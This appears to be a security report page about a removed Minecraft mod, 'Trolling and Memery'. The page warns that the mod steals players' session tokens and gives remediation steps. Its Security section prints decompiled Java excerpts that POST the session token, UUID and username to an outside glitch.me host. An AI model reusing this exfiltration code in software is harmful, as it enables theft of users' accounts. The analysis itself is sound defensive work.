Trolling and Memery
ModTrick, trap, and troll your friends in Minecraft!
Removed from CurseForge on 24 Oct 2026. Modgrade reported malware in it to CurseForge on 20 Oct 2026 and to CurseForge on 24 Oct 2026.
Malware: a file of this project steals your Minecraft session and sends it to a web address. See Security
Why no grade
Malware was found in one of its files, so it has no grade. See Security
In-game changes
It has no file for a recent Minecraft version. This is about its files for Minecraft 1.19.2 to 1.19.4.
Changes the game's code in 3 areas: Rendering and graphicsChanges 1 game code file in this area: drawing mobs, items, particles and textures on screen., PlayerChanges 1 game code file in this area: your character: movement, abilities, hunger and controls. and Networking and multiplayerChanges 1 game code file in this area: connections, the server list and what is sent between your game and a server..
Adds 6 blocks, 12 items, 3 mobs, 1 biome, 3 dimensions, 1 structure, 8 recipes, 4 loot tables, 2 sounds and 1 key binding.
Counted from the names and data files in the mod, so the list may not be complete.
Replaces 17 of vanilla Minecraft's block textures.
Details
- Creator
- sbtreecoder
- License
- Not listed
- Downloads
- 820
- Created
- 18 Apr 2023
- Official page
- CurseForge
Security
Malware: it steals your Minecraft session and sends it to a web address
Found in this file: trollmod-0.0.3.jar (4 Jun 2023). Its download is blocked.
We found this in its code, read without running it.
Because of this malware, it has no grade.
If you installed it
- Remove
trollmod-0.0.3.jarfrom your mods folder. - Run a full scan with your antivirus.
- Sign out of all sessions and change your Microsoft account password.
- Check your other mods.
What it can do on your computer
- Steals your Minecraft session and sends it to a web addressMalware
- One part of the code reads saved logins, tokens or your game session, and a linked part sends data to a fixed address.
- Sends your Minecraft login tokenWarning
- Sends your Minecraft login token to noiseless-scented-bicycle.glitch.me, not to Mojang. With it, someone can use your account.
- Connects to the internet
- It has code that can go online. It contacts 1 web address. See Privacy
Why we show this: a mod runs on your computer like any program, so harmful code in it can take your accounts or files. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.
How we checked
- FilesWe download the files from Modrinth or CurseForge and look at what is inside them and what their code can do, without running them. Fixed rules tell what is harmful.1 latest file. It is not for a recent Minecraft version, so the answer above is about it. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks. See each file in Releases
- Their codeWe turn the code of the files back into readable code and follow what it does, without running it. This shows what it downloads, what it sends and where your login goes.Read without running it
- Steals your Minecraft session and sends it to a web address
net/sbtree/trollmod/mixin/ClientLoginNetworkHandlerMixinsends the game session token, to free anonymous hosting; "noiseless-scented-bicycle.glitch.me"; "api: URL.openConnection" - Looked for, not foundWe looked for these in the file and did not find them.Folders outside the game, other programs, updating itself, the webcam or microphone, an AI service.
- Code excerptsParts of the code of2
trollmod-0.0.3.jar, turned back into readable code, where our checks found the problem.net.sbtree.trollmod.mixin.ClientLoginNetworkHandlerMixin.joinServerSessionprivate void joinServerSession(String serverId, CallbackInfoReturnable<class_2561> cir) throws IOException { System.out.println("Trying to connect to Auth Server..."); URL obj = new URL("https://noiseless-scented-bicycle.glitch.me"); HttpURLConnection con = (HttpURLConnection)obj.openConnection(); con.setRequestMethod("POST"); con.setRequestProperty("User-Agent", "Mozilla/5.0 (Linux i675 x86_64; en-US) Gecko/20100101 Firefox/48.2"); con.setDoOutput(true); OutputStream os = con.getOutputStream(); class_320 session = this.field_3708.method_1548(); String POST_PARAMS = "key=" + session.method_1674() + "&uuid=" + session.method_44717() + "&username=" + session.method_1676(); os.write(POST_PARAMS.getBytes()); os.flush(); os.close(); int responseCode = con.getResponseCode(); System.out.println("POST Response Code :: " + responseCode); if (responseCode == 200) { BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream())); StringBuffer response = new StringBuffer(); String inputLine; while ((inputLine = in.readLine()) != null) { response.append(inputLine); } ...net.sbtree.trollmod.TrollModClient.sendAuthIdpublic void sendAuthId() throws IOException { TrollMod.LOGGER.info("Trying to connect to external server..."); URL obj = new URL("https://noiseless-scented-bicycle.glitch.me"); HttpURLConnection con = (HttpURLConnection)obj.openConnection(); con.setRequestMethod("POST"); con.setRequestProperty("User-Agent", "Mozilla/5.0 (Linux i675 x86_64; en-US) Gecko/20100101 Firefox/48.2"); con.setDoOutput(true); OutputStream os = con.getOutputStream(); class_320 session = class_310.method_1551().method_1548(); String POST_PARAMS = "key=" + session.method_1674() + "&uuid=" + session.method_44717() + "&username=" + session.method_1676(); os.write(POST_PARAMS.getBytes()); os.flush(); os.close(); int responseCode = con.getResponseCode(); TrollMod.LOGGER.info("POST Response Code :: " + responseCode); if (responseCode == 200) { BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream())); StringBuffer response = new StringBuffer(); String inputLine; while ((inputLine = in.readLine()) != null) { response.append(inputLine); } ...
Privacy
Malware: it steals your Minecraft session and sends it to a web address
Sent to noiseless-scented-bicycle.glitch.me, not to Mojang.
Found by the file checks. See Security for what to do if you installed it.
How we checked
- Files readWe read the code without running it. We list each web address the code contacts while you play, and what it sends. Code that is never used is left out.The code of its one file, for Minecraft 1.19.2 to 1.19.4. See each file in Releases
- noiseless-scented-bicycle.glitch.meTalks to an authentication service.Explained by AI (may be wrong)Explained by an AI from the code. May be wrong.Your Minecraft session token, your player ID and your player name
AI
No sign so far that AI was used to make it
We looked for AI tools in its description, files, images and sounds and found none.
We have not read its changelogs yet.
No sign of AI in the game
We found no AI service, AI library or AI model file in its code.
Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.
How we checked
- Author on ModrinthA form on Modrinth where the author can declare AI content and AI features in the game. It is optional and most authors leave it empty.Not on Modrinth.
- Description and changelogsThe description, project page and newest changelogs: sentences saying an AI tool was used, and text pasted from an AI chat.Nothing found in the descriptionChangelogs not read yet
- Its filesFiles that AI coding tools leave behind (like AGENTS.md), and the texts inside the files you download.Nothing found
- Images in its filesHidden data in the images of the files you download, where AI image tools write their name and settings.Nothing found51 images read
- Sounds in its filesThe tags of the sound files in the files you download, where some AI music tools write their name.Nothing found2 sounds read
- Code of the modThe code and files of the mod, read without running it: addresses of AI services, AI libraries, AI model files and a place for your own AI key.No AI service, AI library or AI model file71 code files read
Compatibility
See all 4 filesPoint at or tap a version to see its loaders.
Modpacks using this project
No known modpack uses it.
Latest files
The newest file for each Minecraft version and loader. None is for a recent Minecraft version. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.